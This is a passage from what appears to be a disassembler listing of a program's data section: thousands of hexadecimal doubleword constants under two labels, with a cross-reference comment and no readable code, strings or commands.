		dd 0A02E226Ch, 0EFD263E4h, 28C183B0h, 81E878EAh, 4EA72287h
		dd 9A6FECh, 0B425BE07h,	7D4FF41Bh, 0F6685509h, 28009035h
		dd 75C80054h, 0CA151848h, 0D3126CF8h, 6C21951Ah, 18605B02h
		dd 2E211F50h, 376A53D1h, 40A75744h, 1787DEB3h, 24207900h
		dd 0D1B081C2h, 85AE0014h, 0AD2D2F84h, 70063F0h,	0CCDCF345h
		dd 0ABB747h, 9CC67CAEh,	73F0C04Eh, 0B1AD0400h, 47A0CCEDh
		dd 7978C0B0h, 740A240Dh, 84408094h, 0B50B43h, 13FC5BD2h
		dd 0D5610CB3h, 0FE26DDE8h, 4140989Ah, 0E6D3E5DBh, 287400D1h
		dd 0BD0AC742h, 0C93CF9EFh, 8C0E8A13h, 72008752h, 35237386h
		dd 382007A5h, 0C3CD0B10h, 98BAD080h, 0CF0140FAh, 0EB7FA495h
		dd 0E82235FBh, 4B53170Eh, 46905880h, 8A709114h,	0C700C171h
		dd 99840371h, 24E631Ch,	7EF5880h, 0ECE0A76Eh, 0E54C2664h
		dd 5460058h, 88F4F5DBh,	71346096h, 0EA9DB364h, 9CE4F91Fh
		dd 440F558Eh, 3880D47Ah, 58F358E3h, 3160FCB4h, 47878B2Ch
		dd 2778D41Dh, 7C1A9B07h, 38653A90h, 4B37C19h, 3560BAE8h
		dd 0C614C342h, 0F5640FB0h, 0C03CB84Ch, 0BD8EB5A0h, 289BE6D4h
		dd 2C8C08E4h, 0B4F68Dh,	0C75D0186h, 0A24CB1D0h,	9EA6C0C8h
		dd 9889BC2Ch, 7057E88h,	0F6362218h, 0A6206268h,	132DE4E1h
		dd 269ED0AEh, 0B32409E3h, 74EB3674h, 4E8FFCBh, 0AA5CF8F5h
		dd 697EC0D4h, 652F4Ch, 1D099D06h, 726691D5h, 75A57907h
		dd 0DF80F126h, 91E5CBF8h, 49558074h, 0A76F2C8Ch, 301D0C98h
		dd 96D410ADh, 0DC5480ECh, 16F3D41Eh, 306DB127h,	33FFC5CCh
		dd 0EDA52802h, 4602EB7Dh, 86DE0080h, 66010EAAh,	100169E9h
		dd 2ED9EEA3h, 20204AE7h, 49CE0F82h, 1FE95D2h, 677E046h
		dd 32A9FCD9h, 0A39FA105h, 4081D68Fh, 64703360h,	11C81DE8h
		dd 0B2E001A5h, 225F7868h, 21572DF0h, 6B615024h,	0EA474EF8h
		dd 148705CDh, 0B29F0FA7h, 0EB570048h, 0A8377824h, 2F4407B6h
		dd 0F0CE0B88h, 0C671AF8Eh
		db 4Ch,	1
word_544F42	dw 22ACh		; DATA XREF: ___:off_437510o
dword_544F44	dd 0F34D7775h, 538FB880h, 7BF127D9h, 0F867DB02h, 0C999ABBCh
		dd 904CA4E0h, 3ED905E1h, 82E903AAh, 0D8985FA1h,	67008E04h
		dd 0AF372F36h, 1747C2Ch, 0BC9513E2h, 0CAFE0F48h, 2B0284Bh
		dd 0C8BC24CEh, 6295D004h, 56599080h, 0AF4E0927h, 0A49052EBh
		dd 0E6009617h, 189031F9h, 78EFA94h, 53A824D4h, 0A1553048h
		dd 0D904DD75h, 96BE0B40h, 0C364B4h, 0B5D4AEF0h,	17C82EF5h
		dd 9E08A73Ah, 5F45B68Ch, 0AF80F41Ah, 483D8AAEh,	0D53F2814h
		dd 5BA820DFh, 0DC05081Fh, 37E50DA3h, 776A78CCh,	484B73C1h
		dd 230C944Eh, 8408C387h, 84C1FA4Ah, 52ABD35h, 21B3A264h
		dd 32F0D1D4h, 0CDF204E8h, 0AA4E3496h, 0FCCBDBE0h, 0EE0067D7h
		dd 31B8C759h, 65585Dh, 0B3EF1BD6h, 263A6E85h, 0E33689C6h
		dd 0BC0D0059h, 1777BA54h, 1200E846h, 9CB6DC71h,	211CC6Dh
		dd 0CFAA3967h, 0FCF9B8D0h, 0AB0E501h, 1873E46Dh, 41BBDD01h
		dd 0C01D18C9h, 42287661h, 74129025h, 648C379Ah,	0AF260089h
		dd 0F97FA5Ch, 0CE605393h, 4F5B191h, 0A9E885h, 87B04A8Ah
		dd 47F77805h, 688669CBh, 684E0h, 3F5C27B7h, 4C13DE17h
		dd 3C016AECh, 0B910E66Eh, 0DC6CFE11h, 28C72C50h, 22246178h
		dd 5339BE57h, 4118805Fh, 0A9DC55E1h, 0C89C00CAh, 8D71D0ACh
		dd 261831CDh, 9231236Fh, 0E6A7E621h, 63F70A65h,	603603h
		dd 0A120570Eh, 65EE6DE4h, 42812237h, 0D6E984FEh, 771E9CA0h
		dd 830094CFh, 338DF15Ah, 0D049CDC0h, 9020A35Bh,	0C3269ECh
		dd 8583B9EAh, 13099048h, 10E6D0E4h, 13462908h, 4629DD2h
		dd 0B218DD20h, 843400A0h, 91B949F9h, 132D015Ah,	5DE0E0Fh
		dd 0EAA44859h, 5D00D9FCh, 0CE5BC893h, 0E12E55h,	0AE6E9402h
		dd 0CF165ADBh, 31B6B732h, 0FA05A8Ah, 0FABE9D34h, 7C200FE0h
		dd 58391573h, 7A868760h, 3A41ADE4h, 60CA2CBFh, 128AB4F8h
		dd 882B296Eh, 33883F38h, 0AB650032h, 0B72316FDh, 0A00E3020h
		dd 0E60CAC3Eh, 999C9C91h, 5D958064h, 93DF8F66h,	0AE7F59B0h
		dd 85FAB000h, 62A5589h,	2E3C7623h, 60DC0BCDh, 0DF048634h
		dd 0FE0C151Dh, 886E75C0h, 2CD6BDF3h, 4008532Fh,	0F13A7A04h
		dd 64348F00h, 0A823B855h, 0B3140129h, 58FB84A1h, 6AC980A7h
		dd 719C9FC5h, 17FA03E1h, 6C316BACh, 5836F008h, 0C5BB87B3h
		dd 8045C0CEh, 9E397369h, 97BACFBh, 30DD6A0Ch, 246E1084h
		dd 0B1920529h, 6CCC0F8Fh, 531E00E3h, 0AB128993h, 71265AFh
		dd 0C024DB1h, 6275E57Eh, 0AC7198h, 0B72FB801h, 0FB03FCDAh
		dd 0A1074FFDh, 45EFA8D5h, 0D454003Eh, 0FFED5D6Eh, 0C0005A63h
		dd 0BE2EA219h, 0B8885Eh, 0C6627E8h, 23B94324h, 15F95D00h
		dd 0B2024054h, 9BCB0296h, 17B3D022h, 0BC0018F1h, 26D65A29h
		dd 10FE38C8h, 0F8A00503h, 9A819539h, 0DEE2E050h, 82868305h
		dd 0EC8C63B2h, 2A47070Bh, 1152A29Eh, 0CC33A8B4h, 889844CBh
		dd 2CDCAE22h, 11641087h, 2FA05B78h, 50747335h, 0F6883B5h
		dd 0B39CCCF8h, 88E2D2h,	2FC3DCE6h, 3CAED066h, 104CA93Fh
		dd 13419C1Eh, 6CAC3065h, 32034422h, 5D4231D1h, 98AF9097h
		dd 2D8983Ah, 0E8A28FB3h, 44457E1h, 28882D00h, 9DF86DB8h
		dd 0A1E705DEh, 0C759BC0Eh, 6502D2E7h, 0B6568BE0h, 6EAE800h
		dd 81B313CEh, 0F49936h,	0E5EF51E3h, 8F01A8E4h, 819DD097h
		dd 0F2D485AEh, 0B1CD1CA6h, 90F45778h, 0C3C0964Ch, 90F89D27h
		dd 3F6A596Ch, 0E200C2D0h, 6C6DB7A7h, 2600493Eh,	4704FAD6h
		dd 0CB316EFEh, 0C81992B9h, 0C32480BCh, 8B504B95h, 161000E1h
		dd 45543467h, 5D1D1189h, 0D48065F6h, 0E6F81759h, 8EAB01B8h
		dd 976329E2h, 6B998039h, 90D11BE5h, 0ED6C0027h,	62C0EEB5h
		dd 817387A4h, 78693C09h, 744E54Dh, 93219BB9h, 0F0908401h
		dd 89066F8Fh, 73B1A510h, 0A91404A9h, 80249DD7h,	0C96401F4h
		dd 0C0E8F85Ch, 5A19C81Eh, 14A403ADh, 94481CDAh,	0BCA313F8h
		dd 4CC8F04Bh, 0B1D800C1h, 0A6C38056h, 0A58D308h, 74AE84C0h
		dd 15B1B221h, 6E37BC80h, 4104BC2Ch, 0EA5070FCh,	0B46DD880h
		dd 7848B26Fh, 0C07F003Bh, 0A4F4A1FAh, 61E0EA3h,	68404529h
		dd 714E46F9h, 0B0E8A8BAh, 0C8A07F98h, 56054D28h, 0B70A060Dh
		dd 0B3F980D3h, 556EB81Fh, 0A91809F1h, 2000BEBDh, 0FFE1246Ch
		dd 14326202h, 0E6CF80A8h, 4C730068h, 0AD72279Ah, 0FF03FA39h
		dd 2AB63222h, 31F2A00Eh, 7EF0C402h, 8188BCA2h, 724AA1FFh
		dd 499A7270h, 91072C7Ch, 707D4B01h, 2B6CE0D1h, 5AB5FA00h
		dd 6D11F074h, 0F5C9252Eh, 0AD000464h, 438AD2D6h, 4B5783h
		dd 19748C80h, 0D7C85165h, 0EEA06401h, 0F0B049E1h, 249CD570h
		dd 0ADCF93Bh, 0E8CA791h, 9DA0295Ah, 0E00CF5C0h,	0F164DE07h
		dd 181B95D1h, 0D9A6BCh,	1AE98E70h, 0F2494AE4h, 0F878AD13h
		dd 68D4E889h, 61A0A089h, 6D8C125Fh, 7928E436h, 1DFC641Dh
		dd 39D1CFh, 2643EB29h, 672F00E0h, 8160B8B3h, 0B224F3D9h
		dd 0A201247Ch, 34997B79h, 4B071210h, 0BC0425Ah,	126040DEh
		dd 8829DDD0h, 1C04C100h, 0ABA3229Dh, 9918F4BCh,	5674416Ch
		dd 30A61B13h, 26BAB401h, 92CF6FCEh, 88593Ah, 9BCA0F81h
		dd 9313EFBFh, 0C49197C1h, 3FCCCFDDh, 0C9E87DA6h, 250587A0h
		dd 5C58F26Fh, 0DF1100DCh, 0B40D7F4Ch, 306E258Dh, 6500F0C5h
		dd 7896500Eh, 9D2F0109h, 18C2B639h, 0E735F05Ah,	0C8384Ah
		dd 1F097816h, 8E3DD8AAh, 9220BEDDh, 95AE4B50h, 22CE7404h
		dd 5CF986E6h, 0B86C7F00h, 0A611F2F9h, 0C6E7CB01h, 0E36B18AEh
		dd 28A6820h, 307AF783h,	5540DE4Eh, 0F064D0D2h, 0F0A85EE9h
		dd 1294205Fh, 60B25EDh,	0C4FB1954h, 29E5009Ch, 64C4A630h
		dd 9E00FE09h, 0DDBA6575h, 5C8E192h, 391B074Dh, 0D738A49Ah
		dd 0A124200h, 0A362989Bh, 2E347D60h, 56180AAh, 80CC2F9h
		dd 838B2BA8h, 0EEE880FCh, 17A0B318h, 80F06AABh,	0BB986334h
		dd 0D09952h, 1317A3C8h,	399E0268h, 819695D0h, 5D18A026h
		dd 12565A38h, 1830F892h, 5DD8FA7h, 0E1402DB8h, 0C1148C9Fh
		dd 6BB7990Fh, 0AC30C003h, 5CA0F119h, 2711B0E9h,	34806442h
		dd 53076A41h, 11D020BFh, 377E6003h, 0C8F04B28h,	0A4B4D065h
		dd 0E5505B0h, 0A2A56321h, 0E39F0298h, 5C243FCFh, 0D0C0479Ch
		dd 0A0EA3297h, 0F5677500h, 0E09061BDh, 0A94C0483h, 0C020EE23h
		dd 4D2F51D0h, 0A70E9C98h, 0A4C6590Fh, 0E8BCD433h, 53D9DB80h
		dd 5F07E15Bh, 7EEB85FDh, 480D1D90h, 611E09EEh, 0FC6094F6h
		dd 9C16CD65h, 98C8FEB7h, 2DCFAA4h, 0B261F8D6h, 1FC0D50Bh
		dd 0E00A9D3h, 865D14F3h, 7F3FD46Eh, 48780520h, 3369C7Ch
		dd 9771CA20h, 8718EC80h, 0A4ED3700h, 0D665FED4h, 46783C33h
		dd 0E96D2803h, 0ECFCA1DEh, 9E8A80C4h, 3FFDC213h, 0F880A836h
		dd 0BA83F621h, 967F723Dh, 2EEA21F9h, 8BE61820h,	47D0954h
		dd 0E8F97A91h, 5ADDF500h, 68B11Bh, 0F0B3F98h, 54A6FA36h
		dd 88564E12h, 30795420h, 65281DC9h, 958FC0C1h, 7AD6EF06h
		dd 80FB753Bh, 9B9E13B8h, 709F1A0Eh, 856000D5h, 655036DBh
		dd 54B0BE02h, 0B8669224h, 7445C3Ah, 193C0DA8h, 14C07084h
		dd 0ECAB189h, 0ACA2764Ch, 29289475h, 61971E8h, 90AB0ABFh
		dd 0E9442084h, 3CB197h,	0A30BB9Eh, 2800E301h, 2114DFA7h
		dd 1F1C3208h, 64039F78h, 39886030h, 947B1AF7h, 3A20A513h
		dd 7224C1Fh, 72587421h,	1178709Bh, 0DC011C59h, 16C0F123h
		dd 7863E0D7h, 18E7D800h
		dd 0D4628D0h, 74F3C21Fh, 0BD9AA780h, 904EA8Ch, 874C7F61h
		dd 432808Fh, 8DD255E0h,	48584080h, 82131ACDh, 3430E6D0h
		dd 0B0B32002h, 3B13FF1Ch, 0FE8AAAC8h, 54425103h, 0D0F2C5C9h
		dd 0D2160Ch, 0D5D2693h,	22C10324h, 2E75F100h, 6827F228h
		dd 0EAE030h, 293135D2h,	25606FA9h, 77F51B09h, 808CF9F4h
		dd 555F4DEEh, 0D000178Ch, 0A892AE2Ah, 9266816h,	4A78349Bh
		dd 2E3AE0D9h, 9E6094B0h, 4BD09CC5h, 884452B7h, 0E7A5928h
		dd 0CAC64600h, 5BD38F8Ch, 0B8F82509h, 86C80460h, 7870B207h
		dd 680D62A0h, 0EB554C10h, 40FC9426h, 4E77A114h,	0A6B3D407h
		dd 0FC0B29FEh, 95120BDBh, 6B11F490h, 77CC010Eh,	0C11FE0F1h
		dd 655F78C6h, 3862143h,	84E33B54h, 0AC081590h, 47403100h
		dd 49C66782h, 30961C63h, 0FDE2403Bh, 226EFC2Ah,	560474B3h
		dd 80CC98B3h, 0ECE700DCh, 0E6C83057h, 9C034F36h, 0D9FF194h
		dd 4B2498AEh, 200F4B65h, 876F8ECh, 0FAC17003h, 0B830A459h
		dd 26975722h, 9DC27C8h,	80E89864h, 1C0ECFDBh, 40BE8BBBh
		dd 9655070Ch, 609BE201h, 3B0D9933h, 9A09D203h, 821D7450h
		dd 29B1B7BCh, 107D1C83h, 0E6C005A0h, 6A25504h, 90F21F41h
		dd 496A5D1Dh, 0DA001D01h, 0C33B91DCh, 7F8AAE07h, 9035256h
		dd 8CEAA823h, 5EA10FA4h, 82827685h, 24E49AFBh, 44D8110Eh
		dd 0F554A18Fh, 0CA425322h, 66AC600Bh, 7A4CE855h, 0DFEB0980h
		dd 2D006h, 18DE8859h, 8CF18D80h, 3F16CE79h, 0D211F411h
		dd 0A55E0BB2h, 973049B0h, 6100D839h, 3E4D106Ch,	0B401A793h
		dd 7E962E49h, 19E00B77h, 0E3C327A2h, 86350890h,	80D2DF3Dh
		dd 312589D7h, 3901D4C5h, 0C45CFA42h, 99008858h,	0EF458E27h
		dd 350422F6h, 0ACA502AFh, 56DE8089h, 82121Ch, 805FF0F4h
		dd 65130995h, 94909A0Bh, 3016DC11h, 5D9CE589h, 0AAF41ABFh
		dd 0A4F9DA00h, 0DECB302Eh, 3FBF49Ah, 0D239556Eh, 0D0D97295h
		dd 7C446FEFh, 324F7C9Bh, 12353480h, 0BE03AD77h,	3C268899h
		dd 0CBC0BF4Ah, 4A2E7D0Dh, 0F920CCABh, 11A17601h, 0F8DF745h
		dd 20ED42CEh, 0AA87CCD8h, 0AFB41E1Eh, 0C1DF9D78h, 1C7F95Fh
		dd 0F206259h, 60259256h, 27A8728h, 0B4B072Eh, 20E389B9h
		dd 0D1E52910h, 0E420EB5Ah, 2C03FE48h, 904C7F4h,	70725363h
		dd 3F32EB00h, 50BD104Fh, 0A5B80190h, 256CC86Eh,	4738200Ch
		dd 90848C2Dh, 0C26F00h,	8544A776h, 5F9948CAh, 9DD13100h
		dd 0C48EAE66h, 0D7B2C15h, 723E0120h, 0C8F05E71h, 0CB4FD07Eh
		dd 9883EC20h, 1F6F037Ah, 9BD3A75Ch, 88CDAFA0h, 0FE7B5304h
		dd 4488286Eh, 9436E778h, 8DFF5616h, 3AE42830h, 0C7470710h
		dd 170AE4Fh, 0B7084534h, 6A9ACC90h, 9B0440EAh, 0F85F4CD5h
		dd 0B780A0F8h, 91934A75h, 70AF7100h, 2C8F323Ah,	9F0F25DCh
		dd 19339810h, 2D320FFh,	6B159A01h, 0DAE0B506h, 0FE5827ECh
		dd 3C290F11h, 1578160h,	17A53341h, 4A418071h, 2298ECE9h
		dd 3E5D136Fh, 26982097h, 2A14BD37h, 16F1DE0Ch, 0E0C9C2EDh
		dd 0A41FF4h, 1622FE87h,	5C0EFA50h, 69522E16h, 9E5F2F00h
		dd 4C26814Eh, 5B806C59h, 0FD141DFBh, 0AA3A7700h, 184CEED7h
		dd 46CB0002h, 0EC266B5Fh, 0E6092305h, 0D803F897h, 211001F0h
		dd 0E1CACC33h, 0D8DFE161h, 1560D19Bh, 0F2235920h, 5F5C12A6h
		dd 0CB64F019h, 0FBA32602h, 6647074Ah, 8E460084h, 97AFD1FEh
		dd 58B62E80h, 3698740h,	9A2F006Eh, 15C3E3E6h, 617A13D9h
		dd 0D1B5D16h, 7E006CB2h, 70FBD6F4h, 843DAF0Ch, 5158DC37h
		dd 0F24C4C8Ch, 7C1ED00h, 0B9D7930Fh, 499F2EB1h,	0E8690074h
		dd 94FFF06Bh, 0F1F11328h, 0F6A2ED00h, 0C28B759h, 8B913C06h
		dd 6E7F2085h, 3EA0E531h, 23E16C20h, 0A0F20002h,	0A94A0993h
		dd 3C034C9Ah, 44065631h, 8322E8DBh, 9D572761h, 191DB4C4h
		dd 0F41A8E1h, 0C6B34DD6h, 3BB6F830h, 5D86C58h, 1450802Eh
		dd 205A8686h, 0A5FF7D08h, 8170164Ch, 84619062h,	986EE870h
		dd 887A2CD4h, 0E0E34E84h, 0E1C1760h, 778B8359h,	485C0014h
		dd 2E88F2E9h, 29419623h, 62590328h, 94A88E63h, 4C001EF4h
		dd 7A07CE4Bh, 0C9809D2h, 0C68F4837h, 0B4B08170h, 323551Fh
		dd 7B006C51h, 6436371Fh, 4C09CBABh, 80502356h, 3C356A40h
		dd 0CCD33EB3h, 1E0F603Eh, 0B1C0EFAEh, 0ED05885Ch, 0FC0FE609h
		dd 0AA4883CAh, 0A26880CEh, 0D810BDADh, 0F7046051h, 979B1ADBh
		dd 80CDE245h, 3E15C123h, 1C0DB33Ah, 0F6937378h,	5EE91060h
		dd 94BA50ACh, 804891A5h, 9D99228Dh, 6C1E6359h, 81F9C8ADh
		dd 25E88055h, 4C63CE02h, 4F83B301h, 0F92FA86Ch,	33E0CBB5h
		dd 27006E39h, 74EF54EAh, 5864F7BAh, 0D3830888h,	0D0C1D839h
		dd 0A0FFC0D5h, 0C30089E2h, 5BA5B76Bh, 952A2904h, 24079081h
		dd 2C6EFCCBh, 0BB17FCA4h, 3E0B1126h, 0CFC5887h,	319B160Eh
		dd 9FFCEC21h, 9527CEA0h, 0BB53E400h, 6FE8A5FEh,	3F7C00F0h
		dd 0CE151E46h, 0AE5CB1D0h, 0FE238038h, 7B4AA1Ah, 7A7DF0A6h
		dd 77E7817Eh, 80447AF5h, 68AC589Ch, 0B92F7A80h,	4D006A6Ch
		dd 227181A1h, 5438037h,	0DDBDD2A7h, 8828A0FEh, 4878100Eh
		dd 8EB4B455h, 0B24E6Ch,	317D61F7h, 96B10FE8h, 0AEE7DAA0h
		dd 90E1F5FCh, 0F170A430h, 694D7711h, 316CB113h,	0F099F87Ch
		dd 0DE000755h, 0AEF3CCA0h, 95C9CBh, 87D8F7DBh, 0D25FC5EBh
		dd 5EA3F022h, 1940096h,	9A6A2EBBh, 3EFD10E3h, 0BD7325h
		dd 4E277EAFh, 0C65C3684h, 23078900h, 48F23F1Ch,	0CC964C9Bh
		dd 0DE640C80h, 34792E43h, 0FE671500h, 22E847CCh, 4EF94A78h
		dd 630F56C8h, 98E857C9h, 9A0031B0h, 5B394746h, 5C5A393h
		dd 83D92937h, 9F68B028h, 0C87B5Ch, 20BE05A0h, 3E5963B6h
		dd 0E53D1B49h, 382DA904h, 0FE4C8C65h, 331F6800h, 0E415D2ACh
		dd 7A090708h, 0D49DE8BDh, 551C808Ch, 0B0A0C379h, 82105091h
		dd 0F98DF278h, 80D84470h, 9AF58A78h, 9F13244h, 163BB1D2h
		dd 41007844h, 0BE171F24h, 4346C0h, 2677E936h, 0A6B3F809h
		dd 0E54EA800h, 736A2558h, 0A28525DAh, 60199C91h, 6B00B478h
		dd 69BA1E1Bh, 91AEA5C9h, 628080F4h, 2315A82Ah, 537D1902h
		dd 0E3832D20h, 8E5F80E4h, 30DE1E4Ah, 471C030Ch,	0EF097ACh
		dd 805A1415h, 1E4C88h, 0FAA5437Ch, 4E791AC5h, 192E3D07h
		dd 762006ADh, 15F3283Ch, 0D0C058FDh, 1B400070h,	4AAA6A96h
		dd 3B037991h, 0CBEE4CABh, 78CF8871h, 2D9CA461h,	4493979Ah
		dd 98F5BAE8h, 0F2CEC00h, 68875537h, 58011480h, 250030C1h
		dd 0E59811Fh, 6C3A45C6h, 493C0747h, 97935048h, 480849Eh
		dd 4CDC40E9h, 0B724F003h, 0AD2161DCh, 30207E10h, 98040DBDh
		dd 0A1880078h, 0EA37493Ah, 9025FA42h, 1ADC109Ch, 172600D4h
		dd 3253BE08h, 0A579F771h, 30CF1C2Ah, 0FECB010Bh, 4400F008h
		dd 0B000FB6Dh, 6A5A2792h, 3D7C8A26h, 608250F7h,	0AAA077EEh
		dd 0B500F446h, 0F882246Eh, 18949F38h, 4965F378h, 0D07B9DEFh
		dd 1EA6414Ch, 902FB2A7h, 3ADAE8E4h, 1D81F619h, 0F01F04FCh
		dd 7A25E565h, 8FA99020h, 0DA7842h, 8AA58481h, 55056DCEh
		dd 0F9ED203h, 0A7E91822h, 0F9DB20D2h, 0B8C807D0h, 3578708Bh
		dd 0D0921ECh, 564CE05Fh, 2D194084h, 7302509Eh, 0B7EB85B6h
		dd 120CE126h, 0ADF7E8D3h, 4BF41C39h, 78F000B8h,	7395D0D3h
		dd 7761BB00h, 82480E2h,	2630B0AAh, 6058AB5Eh, 7EB26082h
		dd 87FD4207h, 4109B39h
		dd 0B99D03h, 820D0BE6h,	884DF15Ch, 3948B4F6h, 23B3874h
		dd 0F2B794A9h, 322CD828h, 92D13A6Eh, 0B61C08D9h, 899D1F07h
		dd 7B4B892h, 6DE5C178h,	5325D230h, 0F6B8A4h, 15ED8DBCh
		dd 4C9C6E62h, 0B87B1F0Fh, 0BF922008h, 0AAD428h,	65CE8FAEh
		dd 0A501E445h, 1774B222h, 0C74E9602h, 0FCBFE070h, 2C4A266Eh
		dd 0E8BCBC24h, 72B23705h, 0B900BCBh, 84C60C12h,	8F475A00h
		dd 0E38D4059h, 5816BD32h, 483C2918h, 9DD12DC8h,	72E17013h
		dd 35C6032h, 84119301h,	316DBBE3h, 78120C72h, 8C3C304Bh
		dd 6825429Eh, 0FB0C417h, 26813DA6h, 0ADFE4CA0h,	4E074985h
		dd 0D680697h, 66D5C932h, 88421F84h, 605600ECh, 0F67F8B59h
		dd 0ADF46D00h, 0EBE97B6Fh, 89F041Bh, 822E75B8h,	48F1DE40h
		dd 0E03A5F0Fh, 0F10E1D4Ah, 0A93700C3h, 0D7451CEAh, 9404992Bh
		dd 0A28F3452h, 0D18764FCh, 54E44B9Dh, 70582600h, 9E41C62Fh
		dd 0D7F4C0B1h, 0AAFE24E9h, 5780B0Bh, 5AC4440h, 0F4B9EF2h
		dd 9B408C63h, 0DE265F00h, 0FA0BFBD9h, 3205005Dh, 0FD468313h
		dd 0E85C70A1h, 33C06225h, 40B0620Fh, 225448h, 0D082F03Ch
		dd 0CDFE143Ah, 6A0005E4h, 23F65B8Eh, 121159EBh,	0E2FBA051h
		dd 30C3037Ch, 80411B4Dh, 1455EDh, 72E44223h, 29A81296h
		dd 329DE902h, 0E0B2879Bh, 2594A658h, 0B410B962h, 507E699h
		dd 0B0EEDD1Dh, 55F07AD0h, 6FFE070Ch, 9FABE76h, 0C1021404h
		dd 0F10FE65Ch, 0F6FEC455h, 0F8909B4Fh, 0BCDC8B6h, 8F64ED0Eh
		dd 93C1BA80h, 3C000FD9h, 92083346h, 9D65E6F7h, 3BFDFC90h
		dd 0B501DF0Bh, 9880464Ah, 1061173Ch, 0A02C01FFh, 63460EE9h
		dd 559D0090h, 0DA492A4Dh, 0CB960248h, 0E9D1FFD6h, 8A60F0F4h
		dd 3E5D6Eh, 0AE98895Fh,	47156D8Dh, 71EFBF09h, 93E400F8h
		dd 90B25370h, 6FF42268h, 0A02F6D2Fh, 9AA07D14h,	0F0440262h
		dd 0E5360208h, 723D6520h, 7030480Bh, 6D49A00h, 0EF97182Dh
		dd 0BCFD201Eh, 0ACC00358h, 2FB2B840h, 28C15E67h, 7CCB31A1h
		dd 4449C2A0h, 80E47456h, 6ECF1F7Ch, 3700D893h, 99E8D0C5h
		dd 128FE404h, 302D9B26h, 48C0E244h, 84B157FCh, 0A5B8A280h
		dd 3E6CD64Ch, 0AE001ACCh, 0EF342FE0h, 0E407B93Ah, 0F3A661DCh
		dd 7815EF0h, 269CBE70h,	16C11C0h, 6AAB6EA7h, 0F8F19666h
		dd 0D01BC73h, 8C7639AEh, 0F82253h, 8DB8BD81h, 249EE9Bh
		dd 0F65988ABh, 1C854D77h, 85088C5Bh, 0CA123B0Eh, 0BD876295h
		dd 28D978h, 0D1640FB8h,	0FB01D30Ch, 35876975h, 84C0B5C8h
		dd 0F449026h, 0B0BB9DFDh, 230CCD80h, 645CBEF0h,	43F10054h
		dd 61A075EDh, 1CC1265h,	0C0D0BC6Fh, 0AE7DB2DDh,	0B15C09A7h
		dd 58D9BC0Bh, 0EF853200h, 3C4041DBh, 0B306EC6h,	43FD7D5Ah
		dd 36966400h, 1E266634h, 0D0ED4ECFh, 9A3F5F14h,	6D008CB9h
		dd 73DE8A0Ah, 0DAFF077Bh, 73B8FCA8h, 0D3909A98h, 0C900228h
		dd 0C0E14028h, 78B1A600h, 1B23FDFEh, 0E93902D2h, 0E05C6191h
		dd 37100E0h, 0EAD0CB16h, 5B2004C8h, 97B8CC87h, 0D8762407h
		dd 88F04C34h, 5028061h,	77F8543Ah, 4E1CA813h, 26673800h
		dd 354738h, 0F0C7DA04h,	0CC70FAA0h, 0A9AEBA01h,	0EE399305h
		dd 2E486BD0h, 67880F8Fh, 0C8DE0118h, 0BBEA30ABh, 196B0201h
		dd 242D7931h, 1C40C440h, 0FEE3018Bh, 0CF137FEFh, 50263EB3h
		dd 0B08001F0h, 9D725F55h, 4EFC4CCEh, 0EAC5E600h, 7FB5A0F2h
		dd 0F3EE00A8h, 4930AF37h, 2138CFF6h, 74815EB7h,	9400086Fh
		dd 6AE85773h, 0D57A4Ch,	9E9FF026h, 0AC885Eh, 22E303E1h
		dd 0A267B14Ch, 1036E82Dh, 0BA90C50h, 0E6E7EB59h, 0CD630800h
		dd 4A58EA47h, 794B7EACh, 0C7BED020h, 0AD3200C3h, 6515708h
		dd 0AA00A4F0h, 0CDE9A58Bh, 0E070F113h, 0B064978Dh, 58195F03h
		dd 17D4C326h, 3330B94h,	0AC240AF2h, 40D18EC9h, 639C4888h
		dd 0F49AE12Eh, 4BAB2140h, 56070BFFh, 8AB8C08h, 0E2FC3305h
		dd 193401A4h, 904E61B3h, 4C0DC16Bh, 0C071EA75h,	8DCAE300h
		dd 24DE7144h, 3FE4A382h, 2BFC3145h, 839F8023h, 67FDC889h
		dd 401CB401h, 25DF6BE5h, 0C0D6DC00h, 0AE135CC3h, 76513DEh
		dd 2094209Ah, 53008A32h, 0F93C8DA1h, 4AA5ADh, 0F0EC182Ah
		dd 0C63F7C9Bh, 49D8E501h, 9912550Ch, 13D13070h,	30CA40F7h
		dd 448556ACh, 0F2540400h, 97FE74C8h, 0B4EC07h, 481B6343h
		dd 0D5DE02C1h, 0D97C909Fh, 0D6B173Dh, 4EE1E9Eh,	0B289CDEEh
		dd 0DF72003Ch, 44392AF6h, 11B88Bh, 4D2295FBh, 0CC091560h
		dd 0B1D2470Ch, 5AA531BAh, 2CC90AFh, 39022311h, 6EFD08BBh
		dd 7C09889h, 527700E6h,	0DBD327ADh, 9E272FD6h, 0F88010C2h
		dd 0F7FE0090h, 0E21E3963h, 0A604039Bh, 0B7D06E67h, 590254FDh
		dd 0F179326Ch, 0D7AC0057h, 5B9DD07Eh, 0B6842176h, 0E24BC427h
		dd 0D52D4F00h, 0DD2E9CCEh, 18D70223h, 885CEFDBh, 0E48028FCh
		dd 3A91820Dh, 42F900CAh, 8ECE3409h, 1097A4D9h, 71A3A634h
		dd 68650472h, 0F85B9FE9h, 1CE69918h, 27BD7220h,	6048ADA5h
		dd 4F015362h, 0C9C71423h, 0DC3999E0h, 0D1D08A00h, 6E6C1C51h
		dd 0A658D609h, 7D8C0766h, 68EFB480h, 3A9433A5h,	1CA8F931h
		dd 4B007C4Ch, 0E10D2621h, 3B32F4F6h, 4289A433h,	0C47946B6h
		dd 0D66B013Ah, 0A3C06812h, 0F098206Eh, 0DD0089B3h, 200FD5AEh
		dd 0B845F3FFh, 0A05514A0h, 0DEDED806h, 49A14015h, 12EBED5Ch
		dd 92539C13h, 9E1DECE2h, 0B3D08051h, 47352EFCh,	2AFD3Ch
		dd 0E621AEEDh, 5BEF3h, 87B63B23h, 0D79BC80Bh, 5BCCCF16h
		dd 3A2A8B0h, 5C5F83F0h,	95C7CEh, 962A7380h, 26029CEFh
		dd 4EC0A214h, 80745C98h, 8FC6B9C5h, 0B0FCFFFh, 0C07D779Fh
		dd 51098AD7h, 40F4DDh, 84A86E6Dh, 0FD4249A7h, 2911E1Ch
		dd 0A7FF464Fh, 1040EE55h, 1019358h, 0A0CCD871h,	0D82191C8h
		dd 0B76070E5h, 2ABF8388h, 0A8A0B556h, 0DAF7EF73h, 253C1B0Ch
		dd 8DC04Ch, 0B2482307h,	0E799D87h, 0E7AD9F00h, 1D0B31D7h
		dd 82EF14C9h, 204B8AE2h, 95C6E89Ch, 2D255804h, 1FC0F173h
		dd 301818Ah, 0E0AB11A1h, 581E0C79h, 2100313Bh, 0BE7DE503h
